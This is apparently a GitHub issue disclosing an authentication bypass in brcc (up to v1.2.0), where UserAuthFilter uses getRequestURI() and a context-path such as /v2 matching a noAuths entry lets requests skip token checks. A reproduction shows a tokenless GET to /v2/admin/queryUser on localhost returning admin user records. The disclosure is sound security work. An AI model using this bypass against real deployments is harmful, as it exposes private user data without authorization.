

[New issue](#)

There is an Potential Incorrect Access Control vulnerability in brcc #194

[Open](#)RacerZ-fighting opened on Mar 16 ...**Version: <= v1.2.0****Branch: master****Problem:**

There is an authentication bypass vulnerability in brcc up to v1.2.0. An attacker can exploit this vulnerability to access `/admin/**` API without any token.

SourceCode

1. The affected source code class is `com.baidu.brcc.config.UserAuthFilter`, and the affected function is `doFilter`. In the filter code, use `request.getRequestURI()` to obtain the request path,

```
@Override  @shinansheng +1
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
    throws IOException, ServletException {
    HttpServletRequest httpRequest = (HttpServletRequest) request;
    HttpServletResponse httpResponse = (HttpServletResponse) response;
    try {
        String uri = httpRequest.getRequestURI();
        boolean noAuth = noAuth(uri);
        User user = null;
        if (!noAuth) {
            User currentUser = UserThreadLocal.currentUser();
            if (null == currentUser) {
                String xtoken = httpRequest.getHeader(XTOKEN);
                if (StringUtils.isBlank(xtoken)) {
                    xtoken = httpRequest.getParameter(XTOKEN);
                }
            }
        }
    }
}
```

In `noAuth` , the filter checks if the `uri` matches any path patterns in `noAuths` . If a match is found, the filter executes `chain.doFilter(request, response);` , bypassing the interceptor. If no match is found, the filter blocks the current request and redirects to the login page.

```
rpc:
noauths: /,/api/**/,/index.html,/check,/console/user/login,/user/loginByUuap,/rpc/ExtConfigServerService,/img/**/,/js/**/,/css/**/,/swagger-ui.html,/webjars/**
```

2. The problem lies in using `request.getRequestURI()` to obtain the request path. The path obtained by this function will not parse special symbols, but will be passed on directly. **If an application developer mistakenly configures the servlet `contextPath` as a prefix included in `noAuths` , such as `/v2` , it will lead to an authorization bypass.**

Reproduce the vulnerability

Assuming the developer configures the `context-path` as `/v2` in the `src/main/resources/application.yml` , this could result in an authorization bypass if `/v2` is also listed in `noAuths` .

```
server:
  servlet:
    context-path: /v2
```

Accessing `http://127.0.0.1:8080/v2/admin/queryUser` will directly expose private information to unauthorized users.

GET

http://127.0.0.1:8080/v2/admin/queryUser

RacerZ

Running at Mar 14, 2025 at 20:59:24

Params

Body

Headers

Cookies

Pre Processors

Post Processors

Auth

Settings

none

form-data

x-www-form-urlencoded

json

xml

raw

binary

GraphQL

msgpack

Name	Value	Type	Description
Add a new param			

Body

Cookies 1

Headers 9

Console

Actual Request

Pretty

Raw

Preview

Visualize

JSON

utf8

```
1  {
2    "status": 0,
3    "msg": "success",
4    "data": {
5      "total": 1,
6      "dataList": [
7        {
8          "userId": 1,
9          "userName": "admin",
10         "userRole": 3,
11         "createTime": "2021-01-07 15:53:55",
12         "updateTime": "2021-01-07 15:53:55",
13         "status": 0
14       }
15     ]
16   },
17   "sts": 1742096902566
18 }
```

Sign up for free

 to join this conversation on GitHub. Already have an account? [Sign in to comment](#)

Assignees

No one assigned

Labels

No labels

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

Code with Copilot Agent Mode

▼

No branches or pull requests

Participants

